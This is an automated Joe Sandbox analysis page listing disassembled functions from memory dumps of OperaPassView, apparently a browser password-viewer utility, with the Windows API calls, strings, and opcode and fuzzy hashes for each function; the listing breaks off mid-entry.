Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SHAutoComplete$shlwapi.dll
API String ID: 145871493-1506664499
Opcode ID: 2b13cbe4fa976587dba015ac8bc7e92f1ca77d962969a3839d1cb2f9d6140f48
Instruction ID: 813b35556bdf0c8ed5bc459e2582449ca7e4d1046522a84e24813c778febaec3
Opcode Fuzzy Hash: 2b13cbe4fa976587dba015ac8bc7e92f1ca77d962969a3839d1cb2f9d6140f48
Instruction Fuzzy Hash: 3BD05E35310210EFE651AB66AC88EAF3EA6EFC17617054532FD14F2290CB7C8D16C56A

Function 00403FFE Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000011), ref: 0040400F
GetSystemMetrics.USER32(00000010), ref: 00404015
73A1A570.USER32(00000000), ref: 00404023
GetWindowRect.USER32(?,?), ref: 00404054
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00404099

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MetricsSystemWindow$A570MoveRect
String ID:
API String ID: 3431177557-0
Opcode ID: 641c8072e981fec5d1e71fc20bd1791d30322c2871cf8ebdd159e8e3a321cb4d
Instruction ID: 610676b9c3bbbd6da2c0a9868555fe1c154ba3de3cec7fd67c201bf81deea94b
Opcode Fuzzy Hash: 641c8072e981fec5d1e71fc20bd1791d30322c2871cf8ebdd159e8e3a321cb4d
Instruction Fuzzy Hash: 71119072A00119EFDB109BB88E49AAF7FB9EB84351F050135AE05F7290DA70AD018AA0

Function 00408FC0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000040), ref: 00409003
memcpy.MSVCRT(?,?,00000040), ref: 0040902D
memcpy.MSVCRT(?,?), ref: 00409051

Strings

@, xrefs: 0040903F
@, xrefs: 0040901A

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpy
String ID: @$@
API String ID: 3510742995-149943524
Opcode ID: 1ec03dd1ac256bf16cb5de4bbe2812bc9e32fdbb007d750df983ae5fdb8a89b1
Instruction ID: 1de6c34288c87ebc42d99fb55654b1b16bed35321dec598d18253807e7cc7791
Opcode Fuzzy Hash: 1ec03dd1ac256bf16cb5de4bbe2812bc9e32fdbb007d750df983ae5fdb8a89b1
Instruction Fuzzy Hash: E3112BF2900709ABCB348E65D88086A77A9EF90354B00063FF906A72D2E735DE59C6DC

Function 00405808 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057AE
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057BC
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057CD
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057E4
Part of subcall function 004057A2: ??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057ED

??3@YAXPAX@Z.MSVCRT(?,0040C3F0,00408429,00000000,00408D28,00000000,00000000,00000000,?,?,?,?,00408E6D,/deleteregkey,/savelangfile), ref: 00405823
??3@YAXPAX@Z.MSVCRT(?,0040C3F0,00408429,00000000,00408D28,00000000,00000000,00000000,?,?,?,?,00408E6D,/deleteregkey,/savelangfile), ref: 00405836
??3@YAXPAX@Z.MSVCRT(?,0040C3F0,00408429,00000000,00408D28,00000000,00000000,00000000,?,?,?,?,00408E6D,/deleteregkey,/savelangfile), ref: 00405849
??3@YAXPAX@Z.MSVCRT(?,0040C3F0,00408429,00000000,00408D28,00000000,00000000,00000000,?,?,?,?,00408E6D,/deleteregkey,/savelangfile), ref: 0040585C
free.MSVCRT ref: 00405895

Part of subcall function 0040459C: free.MSVCRT ref: 004045A3

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: 261b58cf0eec15e2e1794024efc3ddad4b6e1d3671ff6baf08edaa83f7d118c1
Instruction ID: 193f175e968b488bcaaaedab1f0f4d2e62d6444421283c25a59f15cf00c5d2b1
Opcode Fuzzy Hash: 261b58cf0eec15e2e1794024efc3ddad4b6e1d3671ff6baf08edaa83f7d118c1
Instruction Fuzzy Hash: 5301A033901D209BC2267B6A940141FB364FEC4710305853FE9097B3C28B3CAC519EED

Function 00404CEC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00404CFE
GetWindowRect.USER32(?,?), ref: 00404D0B
GetClientRect.USER32(00000000,?), ref: 00404D16
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00404D26
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00404D42

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: 0d690f730de1b6905f7339d1d32c430505b30dd23a6c25870a45e20dd623eb1d
Instruction ID: cf7d221995cc0ae4e4d56e5caa9f908b12f985c4a8ff532fce3c53658c4e8bd7
Opcode Fuzzy Hash: 0d690f730de1b6905f7339d1d32c430505b30dd23a6c25870a45e20dd623eb1d
Instruction Fuzzy Hash: AE018C72800029BBDB11ABA58D89EFF7FBCEF46750F044129FA01B2040D73895018BA4

Function 0040B625 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00403960: CreateFileW.KERNEL32(00000003,80000000,00000003,00000000,00000003,00000000,00000000,00403B2F,?), ref: 00403972

GetFileSize.KERNEL32(00000000,00000000,?,?,00401FCC,?,00681010), ref: 0040B63B
??2@YAPAXI@Z.MSVCRT(0000000A,?,?,?,00401FCC,?,00681010), ref: 0040B650
memset.MSVCRT ref: 0040B65E

Part of subcall function 0040427E: ReadFile.KERNEL32(?,?,?,00000000,00000000), ref: 00404295

??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040B67E

Part of subcall function 0040B400: memchr.MSVCRT ref: 0040B43F
Part of subcall function 0040B400: memcpy.MSVCRT(?,0040C790,0000000B), ref: 0040B4E7
Part of subcall function 0040B400: memcpy.MSVCRT(?,00000001,00000008), ref: 0040B4F7

CloseHandle.KERNEL32(00000000,?,?,00401FCC,?,00681010), ref: 0040B686

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: File$memcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
String ID:
API String ID: 2594257661-0
Opcode ID: 7d084e8c0d917e166d8fc0be95caedd0ef5482d6fb046a78ff3cde73c0d70851
Instruction ID: 75b962c83f5597cb288aa85692f01b56f0d7078cfcce17b4e6b1c939becd18f7
Opcode Fuzzy Hash: 7d084e8c0d917e166d8fc0be95caedd0ef5482d6fb046a78ff3cde73c0d70851
Instruction Fuzzy Hash: 91F06272100214BAC22037769C89E9B3A9CDFC17A4F114A3EF556722D2DB399800D2FD

Function 004057A2 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057AE
??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057BC
??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057CD
??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057E4
??3@YAXPAX@Z.MSVCRT(?,?,?,004059DA), ref: 004057ED

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: cea9b1777f4fe2077fb01e06492c58dcf486c784f00d0aeebc101b9834385b95
Instruction ID: 24d33b00e2a7b7b339b6c452371fdc3f9e556b67c2a79a450af54949837e1705
Opcode Fuzzy Hash: cea9b1777f4fe2077fb01e06492c58dcf486c784f00d0aeebc101b9834385b95
Instruction Fuzzy Hash: 85F0EC72504B019BD720AF6D95C491BB7E9EB84314B608C3FF049E7682CB38A8406A6C

Function 0040326F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

BeginDeferWindowPos.USER32(00000004), ref: 00403283

Part of subcall function 004015C8: GetDlgItem.USER32(?,?), ref: 004015D8
Part of subcall function 004015C8: GetClientRect.USER32(?,?), ref: 004015EA
Part of subcall function 004015C8: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00401654

EndDeferWindowPos.USER32(00000000), ref: 004032D1
InvalidateRect.USER32(?,?,00000001), ref: 004032DC

Strings

$, xrefs: 004032F8

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: b4925a47ad5c7c82fa4981d9c831245e3cb2ba26048be89d340e067e16b23bd8
Instruction ID: ce0dde1c5ccb21ff072573540a66a360195cb02966cd540c61d16c9cc8d8a673
Opcode Fuzzy Hash: b4925a47ad5c7c82fa4981d9c831245e3cb2ba26048be89d340e067e16b23bd8
Instruction Fuzzy Hash: FB11B670280208FFEB215F15CCC5F6F7EACDB51B99F10413AF5057A1E1C6B49E0186A8

Function 00406C97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CBB
memset.MSVCRT ref: 00406CD2

Part of subcall function 00406327: wcscpy.MSVCRT ref: 0040632C
Part of subcall function 00406327: _wcslwr.MSVCRT ref: 0040635F

_snwprintf.MSVCRT ref: 00406D01

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

Strings

</%s>, xrefs: 00406CF0

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: </%s>
API String ID: 168708657-259020660
Opcode ID: a8fdc77576d2d317f1ea72d24cc77227ef8f34cd971395aefd8ac601f1947882
Instruction ID: 6a416a60d3308e8752733bddb3c0541536534b39e796b9571d08b2a886c5dd3b
Opcode Fuzzy Hash: a8fdc77576d2d317f1ea72d24cc77227ef8f34cd971395aefd8ac601f1947882
Instruction Fuzzy Hash: 8F0186F2D401296BD720AB55CC45FEA766CEF45318F0004B6BB08B7082D7789A458BD9

Function 00404FA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00404FC5
GetPrivateProfileStringW.KERNEL32(00410D78,?,0040C3F0,?,00001000,00410B68), ref: 00404FED
WritePrivateProfileStringW.KERNEL32(00410D78,?,?,00410B68), ref: 0040500F

Strings

xA, xrefs: 00404FE7

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PrivateProfileString$Writememset
String ID: xA
API String ID: 747731527-299298737
Opcode ID: 3fab942bb674a0dd551379886f7cd08537350ec84625e90ae14467a426e746b7
Instruction ID: b3f257a075a3dd523be960fda3401aaaa782971525adb0e2f35dd5816bada188
Opcode Fuzzy Hash: 3fab942bb674a0dd551379886f7cd08537350ec84625e90ae14467a426e746b7
Instruction Fuzzy Hash: 45F0AF31940318FAEB205B51DC4DFCB3768EB84718F004172BB08B11C2D7B89A80CAAD

Function 0040103E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00403D15: memset.MSVCRT ref: 00403D1F
Part of subcall function 00403D15: wcscpy.MSVCRT ref: 00403D5F

CreateFontIndirectW.GDI32(?), ref: 0040105D
SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 0040107C
SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 0040109A

Strings

MS Sans Serif, xrefs: 00401049

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
String ID: MS Sans Serif
API String ID: 210187428-168460110
Opcode ID: c084c5277869a5d151a46929ddb1d12913e68e5f073360a59db045cc3f1f3578
Instruction ID: 79044cec659ce028f5ed2952e81c049cea9264cb083b404993247dfa8a44912f
Opcode Fuzzy Hash: c084c5277869a5d151a46929ddb1d12913e68e5f073360a59db045cc3f1f3578
Instruction Fuzzy Hash: 5EF0E270A40304B7E6216BA0DC86F8A7BBDAB40B00F104139B741BA0E0D6F46192CA58

Function 00403E3B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403E5A
GetClassNameW.USER32(?,00000000,000000FF), ref: 00403E71
_wcsicmp.MSVCRT ref: 00403E83

Strings

edit, xrefs: 00403E7D

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ClassName_wcsicmpmemset
String ID: edit
API String ID: 2747424523-2167791130
Opcode ID: e777c84daaff5312312b745305a767abe020e08bc75556860ee29f48c933b5b3
Instruction ID: 96ca970e5ce760780859b3d1d5f0b7c20d996f0d6dc3506b7cd15fc6093d8675
Opcode Fuzzy Hash: e777c84daaff5312312b745305a767abe020e08bc75556860ee29f48c933b5b3
Instruction Fuzzy Hash: 63E0D8B2D9030DAAFB10EBA0DC8AFA537ACEB00704F0001B6F515F10C2EB74A6494A88

Function 0040AAB1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32.dll,0040AAEF,?), ref: 0040AABF
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AAD4

Strings

shell32.dll, xrefs: 0040AABA
SHGetSpecialFolderPathW, xrefs: 0040AACE

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 2574300362-880857682
Opcode ID: 593d17e9276b56e7568bc76f33da6cac7503a89dddf6390720df0987fcdb757b
Instruction ID: a9c077829c63e3427da9d6ea6305b1b6c562c19f7a7418d7c59ad09ea6bb4f60
Opcode Fuzzy Hash: 593d17e9276b56e7568bc76f33da6cac7503a89dddf6390720df0987fcdb757b
Instruction Fuzzy Hash: E2D0C774610304EFD7009F669D497567994A708715F109437E756F12F8D7784810DF1D

Function 0040905E Relevance: 6.3, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040907D
memset.MSVCRT ref: 00409093
memset.MSVCRT ref: 004090A5
memcpy.MSVCRT(?,67452301,00000010,?,?), ref: 004090CA
memset.MSVCRT ref: 004090D4

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 3b72156044261ea129f8cd4c3b105914ef94e7cbe1efc6e781f6e5ba62a6bea3
Instruction ID: 21c00b5734eb3d567cf088a0365e344c4847e95ec70e366810ec0c01c0267a0d
Opcode Fuzzy Hash: 3b72156044261ea129f8cd4c3b105914ef94e7cbe1efc6e781f6e5ba62a6bea3
Instruction Fuzzy Hash: 9001FCB1A50B046BD235AA35CC03F1A73A4EF91724F000B2EF15276AC2D7BCA50891DD

Function 004074AA Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 00405BD5: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00405BF7
Part of subcall function 00405BD5: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00405C8C

wcslen.MSVCRT ref: 004074D8
_wtoi.MSVCRT(?), ref: 004074E4
_wcsicmp.MSVCRT ref: 00407532
_wcsicmp.MSVCRT ref: 00407543

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmp$??2@??3@_wtoiwcslen
String ID:
API String ID: 1549203181-0
Opcode ID: 6828c864208fbb81d1753add5a6d0da93504c5913cdcde66002761eda46f4ff5
Instruction ID: cf844fb8323e12a02f27c7c02474ad0a1c2ebbee51d9f020252b4c614b42a62b
Opcode Fuzzy Hash: 6828c864208fbb81d1753add5a6d0da93504c5913cdcde66002761eda46f4ff5
Instruction Fuzzy Hash: 68416D31904605BFCB20DF69C984A9EBBF0FB48319F10847EE955E37A1E738B9508B45

Function 00406271 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 004062CA
memcpy.MSVCRT(00000000,?,?,g"@,?,?,?,?,?,00402267), ref: 004062DC
memcpy.MSVCRT(00000000,?,?,?,?,?,?,?,?,00402267), ref: 0040630F

Strings

g"@, xrefs: 004062EC, 00406289

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memcpy$free
String ID: g"@
API String ID: 2888793982-1672938247
Opcode ID: d0368e864a8ee8171a8213670f6b6c2321b61b6c5172591d21014e3f04fea0c9
Instruction ID: 847f1e285f704c4283300a2ceb5e062fed8206f8320e772a557491d1eabc8965
Opcode Fuzzy Hash: d0368e864a8ee8171a8213670f6b6c2321b61b6c5172591d21014e3f04fea0c9
Instruction Fuzzy Hash: CF21A130900604EFCB20EF69CA4181ABBF5FF843147204A7EE856E7791E735EE119B58

Function 0040218E Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004021D0
memcpy.MSVCRT(?,0040C650,00001804), ref: 004021E5
wcscmp.MSVCRT ref: 004021FD
_wcsicmp.MSVCRT ref: 0040223A

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmpmemcpymemsetwcscmp
String ID:
API String ID: 2457885024-0
Opcode ID: 29b7007dc27532f12ac5d86aa4f19c13ccb3944361463df0eaac2def0b3d2e6a
Instruction ID: 9e2dca859bd8e337fc0f0d7f4250584473b8221a81ad69390a77a03363fec707
